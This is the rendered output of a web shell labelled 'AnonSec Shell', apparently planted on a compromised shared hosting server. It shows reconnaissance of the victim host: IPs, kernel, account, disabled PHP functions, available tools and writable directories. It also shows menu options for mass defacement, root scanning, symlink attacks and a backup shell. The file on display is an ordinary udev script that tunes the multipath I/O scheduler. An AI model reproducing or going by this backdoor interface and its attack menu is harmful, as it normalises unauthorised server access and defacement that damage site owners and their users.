AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/udev/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/udev/tuned-mpath-iosched
#!/bin/sh
#
# For the request-based multipath driver, the I/O scheduler runs on the
# multipath device, not the underlying "slave" devices.  This script
# checks the ID_BUS attribute for each of the slave devices.  If it finds
# an ata device, it leaves the I/O scheduler tunings alone.  For any other
# device, we tune the I/O scheduler to try to keep the device busy.
#

if [ -z "$DEVPATH" ]; then
	logger "$0: DEVPATH is not set"
	exit 1
fi

if [ ! -d /sys/${DEVPATH}/slaves ]; then
	logger "$0: 'slaves' directory under '$DEVPATH' does not exist"
	exit 1
fi

needs_tuning=1
for slave in $(command ls /sys/${DEVPATH}/slaves/* 2>/dev/null); do
	bus_type=$(/sbin/udevadm info --query=property --path=$slave | grep -m1 ID_BUS | cut -d= -2)
	if [ "$bus_type" = "ata" ]; then
		needs_tuning=0
		break
	fi
done

if [ $needs_tuning -eq 1 ]; then
	echo 0 > /sys/${DEVPATH}/queue/iosched/slice_idle
	echo 32 > /sys/${DEVPATH}/queue/iosched/quantum
fi

exit 0

Anon7 - 2022
AnonSec Team